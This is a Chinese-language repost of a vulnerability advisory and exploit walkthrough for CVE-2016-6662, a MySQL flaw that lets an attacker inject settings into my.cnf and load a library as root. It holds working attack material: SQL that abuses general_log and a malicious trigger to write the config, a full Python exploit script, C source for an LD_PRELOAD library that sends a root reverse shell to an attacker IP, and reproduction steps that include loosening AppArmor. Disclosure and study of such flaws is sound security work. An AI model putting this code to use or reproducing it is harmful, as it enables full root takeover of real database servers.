赞
踩
MySQL <= 5.7.15 远程代码执行/权限提升 (0day)
5.6.33
5.5.52
克隆mysql的同样受影响, 包括:
MariaDB PerconaDB
一个独立的研究组织发现多处严重的Mysql漏洞,此次通报的是其中比较严重的一个漏洞CVE-2016-6662,它允许攻击者远程注入恶意设置到被攻击服务器的Mysql配置文件(my.cnf)中,导致更加严重的后果。
该漏洞影响所有默认配置的Mysql版本分支(5.7、5.6、5.5),包括最新的版本,并可能被攻击者进行本地或者远程的利用。exp既可以通过网络连接或者利用类似phpmyadmin之类的web管理工具,以及SQL注入漏洞等。
SQL注入漏洞是在web应用中最常见的漏洞之一,在存在注入漏洞的情况下,攻击者可以配合CVE-2016-6662进行更加深入的入侵。如果被攻击服务器有运行受影响的mysql版本,攻击用该漏洞的EXP可以以root权限执行任意代码,从而完全控制被攻击服务器。
目前官方还没有提供针对该漏洞的补丁,即使服务器开启了SELinux安全模式,也会受到该漏洞Exp的影响。该通报后面提供一个该漏洞的Poc,演示攻击者如何实现远程代码执行。
默认的Mysql安装包自带mysql_safe脚本,启动mysql服务器就可以观察到,例如,假如进行mysql全面更新。
Debian系统:
- root@debian:~# lsb_release -a
- No LSB modules are available.
- Distributor ID: Debian
- Description: Debian GNU/Linux 8.5 (jessie)
- Release: 8.5
- Codename: jessie
- root@debian:~# dpkg -l | grep -i mysql-server
- ii mysql-server 5.5.50-0+deb8u1
- ii mysql-server-5.5 5.5.50-0+deb8u1
- ii mysql-server-core-5.5 5.5.50-0+deb8u1
通过运行如下命令启动Mysql(用默认Debian仓库提供的软件包安装)
root@debian:~# service mysql start
或用如下方式启动:
root@debian:~# /etc/init.d/mysql start
Mysql服务的进程树看起来如下:
- root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe
- mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看出,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程是用较低权限的mysql用户启动的。
mysqld_safe封装脚本有以下功能 :
- ----[ /usr/bin/mysqld_safe ]----
- [...]
- # set_malloc_lib LIB
- # - If LIB is empty, do nothing and return
- # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
- # then pkglibdir. tcmalloc is part of the Google perftools project.
- # - If LIB is an absolute path, assume it is a malloc shared library
- #
- # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
- # running mysqld. See ld.so for details.
- set_malloc_lib() {
- malloc_lib="$1"
- if [ "$malloc_lib" = tcmalloc ]; then
- pkglibdir=`get_mysql_config --variable=pkglibdir`
- malloc_lib=
- # This list is kept intentionally simple. Simply set --malloc-lib
- # to a full path if another location is desired.
- for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
- for flavor in _minimal '' _and_profiler _debug; do
- tmp="$libdir/libtcmalloc$flavor.so"
- #log_notice "DEBUG: Checking for malloc lib '$tmp'"
- [ -r "$tmp" ] || continue
- malloc_lib="$tmp"
- break 2
- done
- done
- [...]
- ----------[ eof ]---------------
它可以用来在启动服务之前加载共享库,库文件可以通过下面的参数进行设置:
–malloc-lib=LIB
这个参数也可以在mysqld的配置文件中指定(my.cnf中),在[mysqld]或者[mysqld_safe]部分。
如果攻击者能够将其恶意的库文件路径插入到配置文件中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。
2003年公布的一个mysql 3.23.55之前版本的漏洞,允许攻击者利用一个简单的语句创建mysql配置文件:
SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'
这个漏洞被修复,利用outfile查询创建的文件默认是没办法覆盖现有文件的,这样可以保护现有的配置文件。该漏洞已经在mysql 3.23.55版本中修复,写入配置文件已经算不可能了。
然而POC证明,有可能利用Mysql的日志功能(默认方式安装的mysql)绕过当前的限制,来实现如下的目标: 1,注入恶意配置文件到现有的mysql配置文件中,前提是配置文件权限配置不当,配置文件所属用户是mysql用户,并且mysql用户有配置文件的可写权限; 2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。 3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。
1,利用不正确的权限配置(配置文件所属mysql用户,mysql用户有可写权限)注入恶意配置到mysql的配置文件;
当mysqld_safe脚本执行时,mysql配置文件从所有支持的位置逐一加载和处理,确切的配置文件位置取决于mysql的版本。 例如,如上所述: http://dev.mysql.com/doc/refman/5.5/en/option-files.html mysql5.5的配置位置包括:
/etc/my.cnf 全局配置
/etc/mysql/my.cnf 全局配置
SYSCONFDIR/my.cnf 全局配置
$MYSQL_HOME/my.cnf 服务特定配置
默认额外文件,如果有~/my.cnf,用–defaults-extra-file参数来指定用户特定的配置。
目前有一种常见误解是mysql用户必须有mysql配置文件的所属权限,才能让服务正常工作。许多安装指南,甚至安全指南经常错误的建议用户给予mysql用户mysql配置文件或目录的所属权限。 例如:
https://github.com/willfong/mariadb-backup/blob/master/README.md
提到:
用如下命令设置配置文件权限:
- chown mysql /etc/my.cnf
- chmod 600 /etc/my.cnf
而在如下文章中提到:
http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
"你应该保护全局配置文件/etc/my.cnf,如果存在的该文件,所属用户应该是mysql用户,并且mysql用户要有读写权限,但其它用户只需要只读权限"。
shell> chown mysql /etc/my.cnf"
如果mysql用户有mysql配置文件的所属权限,攻击可以追加恶意的配置项,如下所示:
- root@debian:~/# ls -l /etc/my.cnf
- -rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
- root@debian:~/# cat /etc/my.cnf
- [mysqld]
- key_buffer = 16M
- max_allowed_packet = 16M
攻击者可以运行下面的SQL查询:
- mysql> set global general_log_file = '/etc/my.cnf';
- mysql> set global general_log = on;
- mysql> select '
- '>
- '> ; injected config entry
- '>
- '> [mysqld]
- '> malloc_lib=/tmp/mysql_exploit_lib.so
- '>
- '> [separator]
- '>
- '> ';
- 1 row in set (0.00 sec)
- mysql> set global general_log = off;
然后配置文件将增加如下的部分:
- root@debian:~/# cat /etc/my.cnf
- [mysqld]
- key_buffer = 16M
- max_allowed_packet = 16M
- /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
- Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
- Time Id Command Argument
- 160728 17:25:14 40 Query select '
- ; injected config entry
- [mysqld]
- malloc_lib=/tmp/mysql_exploit_lib.so
- [separator]
- '
- 160728 17:25:15 40 Query set global general_log = off
这个配置将会让mysql启动失败,因为该文件中包含一些冗余的信息,然而最重要的部分是mysql配置文件包含了以下部分:
- [mysqld]
- malloc_lib=/tmp/mysql_exploit_lib.so
在mysqld守护进程启动之前,mysqldsafe将正确的读取共享库的路径,并把它添加到LDPRELOAD环境变量。然后预装库的fopen()函数在mysqld守护进程启动之前处理和清理配置文,为的是mysql能够正常启动。
2,在mysql数据目录中创建新的配置文件,通过默认方式安装mysql的话,mysql用户默认对此目录是有可写权限的,因此不需要依靠不当的权限配置。
mysqldsafe脚本的分析表明,在除上文中提到的配置文件位置之外,在mysql5.5、5.6版本中mysqldsafe在默认情况下还会从mysql的数据目录(/var/lib/mysql/my.cnf)加载配置文件,如下:
- ----[ /usr/bin/mysqld_safe ]----
- [...]
- # Try where the binary installs put it
- if test -d $MY_BASEDIR_VERSION/data/mysql
- then
- DATADIR=$MY_BASEDIR_VERSION/data
- if test -z "$defaults" -a -r "$DATADIR/my.cnf"
- then
- defaults="--defaults-extra-file=$DATADIR/my.cnf"
- fi
- [...]
- ----------[ eof ]---------------
从mysql 5.7开始移除了这个功能,然而在很多配置中,任然是从如下位置加载配置文件:
/var/lib/mysql/.my.cnf
mysql用户是有mysql数据目录(/var/lib/mysql)写权限的:
- root@debian:~# ls -ld /var/lib/mysql/
- drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/
因此,如果没有所属mysql用户的配置文件,攻击者可能仍然能够利用此漏洞在如下位置创建配置文件:
/var/lib/mysql/my.cnf /var/lib/mysql/.my.cnf
正如前文提到的,用file权限创建这样的文件:
SELECT '恶意配置内容' INTO OUTFILE '/var/lib/mysql/my.cnf'
是行不通的,因为通过这种方式创建的文件权限如下:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
mysql在启动的时候会组织这种全部可写的配置,但是攻击者利用该漏洞可以绕过这个限制:
- mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
- mysql> set global general_log = on;
- mysql> select '
- '>
- '> ; injected config entry
- '>
- '> [mysqld]
- '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
- '>
- '> [separator]
- '>
- '> ';
- 1 row in set (0.00 sec)
- mysql> set global general_log = off;
以上SQL创建一个具有必要权限(other用户没有读写权限)的可供mysql守护进程解析的配置文件:
- # ls -l /var/lib/mysql/my.cnf
- -rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
这个文件包含的内容如下:
- # cat /var/lib/mysql/my.cnf
- /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
- Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
- Time Id Command Argument
- 160728 17:48:22 43 Query select '
- ; injected config entry
- [mysqld]
- malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
- [separator]
- '
- 160728 17:48:23 43 Query set global general_log = off
然而,依然存在一个问题,mysql会拒绝不以“[”符号开头的文件,会报错如下:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1 Fatal error in defaults handling. Program aborted
不过深入的测试证明可以绕过此安全限制导致的错误,继续看下文。
值得大家注意的是,cve-2016-6662漏洞的报告者利用其它漏洞可以轻易的创建任意内容的/var/lib/mysql/my.cnf配置文件,并不需要file权限,只是报告者并未披露其它的漏洞。
3,通过默认方式安装的mysql,攻击者仅用select查询的file权限就可以访问日志功能(该功能通常只提供给mysql管理用户),因此攻击者可以在位置添加修改配置文件。
如果攻击者没有访问日志功能的管理权限,只有标准用户权限与另外的file权限,那么攻击者仍然可以获得写入修改配置文件的能力,可以利用一个恶意的触发器来实现:
- CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
- AFTER INSERT
- ON `active_table` FOR EACH ROW
- BEGIN
- DECLARE void varchar(550);
- set global general_log_file='/var/lib/mysql/my.cnf';
- set global general_log = on;
- select "
- [mysqld]
- malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
- " INTO void;
- set global general_log = off;
- END;
利用类似的语句创建触发器
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
当表刷新的时候就会执行触发器,比如通过insert来让表刷新:
INSERT INTO `active_table` VALUES('xyz');
触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使攻击者没有数据库管理员权限。
- ----------[ 0ldSQL_MySQL_RCE_exploit.py ]--------------
- #!/usr/bin/python
- # This is a limited version of the PoC exploit. It only allows appending to
- # existing mysql config files with weak permissions. See V) 1) section of
- # the advisory for details on this vector.
- #
- # Full PoC will be released at a later date, and will show how attackers could
- # exploit the vulnerability on default installations of MySQL on systems with no
- # writable my.cnf config files available.
- #
- # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
- # for certain low-privileged attackers that do not have FILE privilege.
- #
- # See full advisory for details:
- # http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
- #
- # Stay tuned ;)
- intro = """
- 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
- (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
- For testing purposes only. Do no harm.
- Discovered/Coded by:
- Dawid Golunski
- http://legalhackers.com
- """
- import argparse
- import mysql.connector
- import binascii
- import subprocess
- def info(str):
- print "[+] " + str + "n"
- def errmsg(str):
- print "[!] " + str + "n"
- def shutdown(code):
- if (code==0):
- info("Exiting (code: %d)n" % code)
- else:
- errmsg("Exiting (code: %d)n" % code)
- exit(code)
- cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
- process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- (result, error) = process.communicate()
- rc = process.wait()
- # where will the library to be preloaded reside? /tmp might get emptied on reboot
- # /var/lib/mysql is safer option (and mysql can definitely write in there ;)
- malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
- # Main Meat
- print intro
- # Parse input args
- parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
- parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
- parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
- parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
- parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
- parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
-
- args = parser.parse_args()
- # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
- # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
- info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
- try:
- dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
- except mysql.connector.Error as err:
- errmsg("Failed to connect to the target: {}".format(err))
- shutdown(1)
- try:
- cursor = dbconn.cursor()
- cursor.execute("SHOW GRANTS")
- except mysql.connector.Error as err:
- errmsg("Something went wrong: {}".format(err))
- shutdown(2)
- privs = cursor.fetchall()
- info("The account in use has the following grants/perms: " )
- for priv in privs:
- print priv[0]
- print ""
- # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
- # process execution and run our code (Remote Root Shell)
- # Remember to match the architecture of the target (not your machine!) otherwise the library
- # will not load properly on the target.
- info("Compiling mysql_hookandroot_lib.so")
- cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
- process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- (result, error) = process.communicate()
- rc = process.wait()
- if rc != 0:
- errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
- print error
- shutdown(2)
- # Load mysql_hookandroot_lib.so library and encode it into HEX
- info("Converting mysql_hookandroot_lib.so into HEX")
- hookandrootlib_path = './mysql_hookandroot_lib.so'
- with open(hookandrootlib_path, 'rb') as f:
- content = f.read()
- hookandrootlib_hex = binascii.hexlify(content)
- # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
- # Decoded payload (paths may differ):
- """
- DELIMITER //
- CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
- AFTER INSERT
- ON `poctable` FOR EACH ROW
- BEGIN
- DECLARE void varchar(550);
- set global general_log_file='/var/lib/mysql/my.cnf';
- set global general_log = on;
- select "
- # 0ldSQL_MySQL_RCE_exploit got here :)
- [mysqld]
- malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
- [abyss]
- " INTO void;
- set global general_log = off;
- END; //
- DELIMITER ;
- """
- trigger_payload="""TYPE=TRIGGERS
- triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n ON `poctable` FOR EACH ROW\nBEGIN\n\n DECLARE void varchar(550);\n set global general_log_file=\'%s\';\n set global general_log = on;\n select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void; \n set global general_log = off;\n\nEND'
- sql_modes=0
- definers='root@localhost'
- client_cs_names='utf8'
- connection_cl_names='utf8_general_ci'
- db_cl_names='latin1_swedish_ci'
- """ % (args.TARGET_MYCNF, malloc_lib_path)
- # Convert trigger into HEX to pass it to unhex() SQL function
- trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
- # Save trigger into a trigger file
- TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
- info("Saving trigger payload into %s" % (TRG_path))
- try:
- cursor = dbconn.cursor()
- cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
- except mysql.connector.Error as err:
- errmsg("Something went wrong: {}".format(err))
- shutdown(4)
- # Save library into a trigger file
- info("Dumping shared library into %s file on the target" % malloc_lib_path)
- try:
- cursor = dbconn.cursor()
- cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
- except mysql.connector.Error as err:
- errmsg("Something went wrong: {}".format(err))
- shutdown(5)
- # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
- info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
- try:
- cursor = dbconn.cursor()
- cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
- except mysql.connector.Error as err:
- errmsg("Something went wrong: {}".format(err))
- shutdown(6)
- # Finally, execute the trigger's payload by inserting anything into `poctable`.
- # The payload will write to the mysql config file at this point.
- info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
- try:
- cursor = dbconn.cursor()
- cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
- except mysql.connector.Error as err:
- errmsg("Something went wrong: {}".format(err))
- shutdown(6)
- # Check on the config that was just created
- info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
- try:
- cursor = dbconn.cursor()
- cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
- except mysql.connector.Error as err:
- errmsg("Something went wrong: {}".format(err))
- shutdown(2)
- finally:
- dbconn.close() # Close DB connection
- print ""
- myconfig = cursor.fetchall()
- print myconfig[0][0]
- info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
- # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
- info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
- listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
- listener.communicate()
- print ""
- # Show config again after all the action is done
- info("Shell closed. Hope you had fun. ")
- # Mission complete, but just for now... Stay tuned :)
- info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
- # Shutdown
- shutdown(0)
下面是0ldSQLMySQLRCEexploit.py脚本要注入的共享库内容,当mysqld守护进程启动的时候,mysqldsafe会加载该恶意的共享库,然后会主动连接远程攻击者坚挺的6603端口,并给攻击者反弹一个root shell。
python脚本首先会创建修改mysql配置文件,加入如下内容:
[mysqld] malloclib=mysqlhookandroot_lib.so
然后当mysqld启动的时候,mysqld_safe会加载.so文件中的恶意内容,然后.so文件中的execvp()函数首先会清理掉mysql配置文件中插入的垃圾内容,只保留[mysqld]这个字段,以确保mysqld服务能正常启动,之后就会向攻击者反弹一个root shell。在使用该文件的时候,需要调整一个接收shell的IP和端口,以及配置路径等。
使用如下命令进行编译:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
mysqlhookandrootlib.c内容如下:
- Full advisory URL:
- http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
- */
- #define _GNU_SOURCE
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <unistd.h>
- #include <string.h>
- #include <dlfcn.h>
- #include <stdlib.h>
- #include <stdarg.h>
- #include <fcntl.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #define ATTACKERS_IP "127.0.0.1"
- #define SHELL_PORT 6033
- #define INJECTED_CONF "/var/lib/mysql/my.cnf"
- char* env_list[] = { "HOME=/root", NULL };
- typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
- static execvp_func_t old_execvp = NULL;
- // fork & send a bash shell to the attacker before starting mysqld
- void reverse_shell(void) {
- int i; int sockfd;
- //socklen_t socklen;
- struct sockaddr_in srv_addr;
- srv_addr.sin_family = AF_INET;
- srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
- srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
- // create new TCP socket && connect
- sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
- connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
-
- for(i = 0; i <= 2; i++) dup2(sockfd, i);
- execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
- exit(0);
- }
- /*
- cleanup injected data from the target config before it is read by mysqld
- in order to ensure clean startup of the service
- The injection (if done via logging) will start with a line like this:
- /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
- */
- int config_cleanup() {
- FILE *conf;
- char buffer[2000];
- long cut_offset=0;
- conf = fopen(INJECTED_CONF, "r+");
- if (!conf) return 1;
- while (!feof(conf)) {
- fgets(buffer, sizeof(buffer), conf);
- if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
- cut_offset = (ftell(conf) - strlen(buffer));
- }
- }
- if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
- fclose(conf);
- return 0;
- }
- // execvp() hook
- int execvp(const char* filename, char* const argv[]) {
- pid_t pid;
- int fd;
- // Simple root PoC (touch /root/root_via_mysql)
- fd = open("/root/root_via_mysql", O_CREAT);
- close(fd);
- old_execvp = dlsym(RTLD_NEXT, "execvp");
- // Fork a reverse shell and execute the original execvp() function
- pid = fork();
- if (pid == 0)
- reverse_shell();
- // clean injected payload before mysqld is started
- config_cleanup();
- return old_execvp(filename, argv);
- }
复现测试流程:
1,创建一个测试用的数据库,并创建测试用户的账号和权限,如下:
- CREATE DATABASE pocdb;
- GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
- GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';
2,将存在的mysql配置文件的所属用户修改成mysql用户,如下:
- # chown mysql:mysql /etc/mysql/my.cnf
- # ls -l /etc/mysql/my.cnf
- -rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf
3,用attacker用户运行该exp,运行完毕重启mysql服务 首先,在.c文件中输入你的库路径; 接着,运行.py脚本。 如:
attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf
4,然后在定义的接收反弹shell的服务器用nc监听6033端口即可收到反弹的shell。
详细漏洞测试过程,是在ubuntu 14.04中测试的。
1,安装mysql-server ,mysql-client
sudo apt-get install mysql-server mysql-client
2,安装gcc
sudo apt-get install build-essential
3,安装exp脚本中用到的mysql connector,下载地址
http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb
4,创建测试用的数据库,以及需要账号及权限
- mysql> create database pocdb;
- Query OK, 1 row affected (0.00 sec)
- mysql> grant file on *.* to 'attacker'@'%' identified by 'hello123';
- Query OK, 0 rows affected (0.00 sec)
- mysql> GRANT SELECT,INSERT,CREATE ON `pocdb`.* TO 'attacker'@'%';
- Query OK, 0 rows affected (0.00 sec)
注意上面这条中数据库名是用反引号括起来的。
5,编译mysqlhookandrootlib.c文件,编译之前,修改内容如下:
- #define ATTACKERS_IP "182.92.100.1"
- #define SHELL_PORT 1234
- #define INJECTED_CONF "/etc/mysql/my.cnf"
其中IP、端口是另外一台需要监听的服务器的,执行exp之后被攻击服务器会主动向上面的IP跟端口反弹一个root权限的shell。
my.cnf是我的测试环境中配置文件的默认位置。
编译命令:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
6,修改/etc/mysql/my.cnf的所属用户及组
chown mysql:mysql /etc/mysql/mysql.cnf
7,唯一鸡肋的地方是需要对ubuntu的apparmor相关的配置,不然exp执行的时候会报错误6,会提示
ERROR 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)
centos的话应该是需要关闭selinux,不过看漏洞介绍说不关闭这个的情况下也能利用,可能是描述有误吧。
修改方法:
sudo vi /etc/apparmor.d/usr.sbin.mysqld
修改成如图所示:
修改完成之后执行:
sudo /etc/init.d/apparmor reload
8,然后将编译好的.so文件以及.py文件放到同一个目录,执行如下命令:
sudo python mysqlRECexploit.py -dbuser attacker -dbpass 'hello123' -dbhost 127.0.0.1 -dbname pocdb -mycnf /etc/mysql/my.cnf
执行成功后如图所示:
然后在之前设定的那个服务器上就会接收到root权限的shell,如图:
引用
【技术分享】CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行分析
http://bobao.360.cn/learning/detail/3026.html
【漏洞预警】Mysql代码执行漏洞,可本地提权(含exp,9/13 01点更新)
http://bobao.360.cn/learning/detail/3025.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。